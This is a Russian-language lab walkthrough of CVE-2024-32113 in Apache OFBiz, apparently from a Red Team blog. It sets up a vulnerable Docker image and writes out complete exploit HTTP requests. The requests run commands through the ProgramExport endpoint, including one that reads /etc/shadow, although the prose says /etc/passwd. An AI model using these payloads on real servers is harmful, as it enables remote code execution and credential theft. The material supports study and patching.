Введение
Ранее в наших статьях мы уже упоминали Вам об уязвимостях CVE-2023-49070 и CVE-2023-51467 в Apache OFBiz
, не прошло и пол года, как 05 августа 2024 была опубликована новая уязвимость с неправильным ограничением пути к закрытому каталогу CVE-2024-32113
(CVSS 3.x 9.8 баллов), затрагивающая версии ниже 18.12.14
.
Для тех, кто мало знаком с данным решением, давайте еще раз узнаем, что это за продукт.
Apache OFBiz - это open-source программное обеспечение, включающее в себя множество различных приложений для интеграции и автоматизации множества бизнес-процессов предприятий.
В этой статье мы развернем уязвимую версию OFBiz
и разберемся как эксплуатировать ее.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Подготовка
Как и для эксплуатации прошлых уязвимостей возьмем также ПО версии 18.12.09
. Эта версия доступна на vulhub, откуда ее можно установить с помощью docker pull
или docker-compose
, предварительно скачав каталог с файлами настройки из GitHub-репозитория.
Скачиваем контейнер с помощью docker pull
:
sudo docker pull vulhub/ofbiz:18.12.09 # - скачиваем версию 18.12.09
Запустим наш контейнер следующей командой:
sudo docker run -d -p 8443:8443 vulhub/ofbiz:18.12.09
После подготовки нашей инфраструктуры (уязвимого программного обеспечения Apache OFBiz
версии ниже 18.12.14
) приступим к практическому разбору данной уязвимости.
Разбор уязвимости CVE-2024-32113
Уязвимая конечная точка /webtools/control/forgotPassword
позволяет злоумышленнику получить доступ к конечной точке ProgramExport
, которая, в свою очередь, позволяет удаленно выполнять код в контексте пользователя, от имени которого запущено приложение.
Для выполнения RCE
отправим следующий POST
-запрос на конечную точку /webtools/control/forgotPassword
видоизменив его:
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
groovyProgram=throw+new+Exception('ls+-la'.execute().text);
В результате мы получили Response
, содержащий результат выполнения команды - текущий каталог с его содержимым.
Давайте теперь попробуем прочитать содержимое файла /etc/passwd
отправив следующий запрос:
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
groovyProgram=throw+new+Exception('cat+/etc/shadow'.execute().text);
Response
по нашему запросу выглядит следующим образом:
Заключение
В данной статье мы с Вами разобрали уязвимость с неправильным ограничением пути к закрытому каталогу через которую можно обратиться к компоненту ProgramExport
Apache OFBiz
для выполнения удаленных команд.
Данная уязвимость была устранена в версии 18.12.14
.
Если у Вас установлен Apache OFBiz
версии ниже 18.12.14
, то мы настоятельно рекомендуем Вам обновится на последнюю версию данного решения.
Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam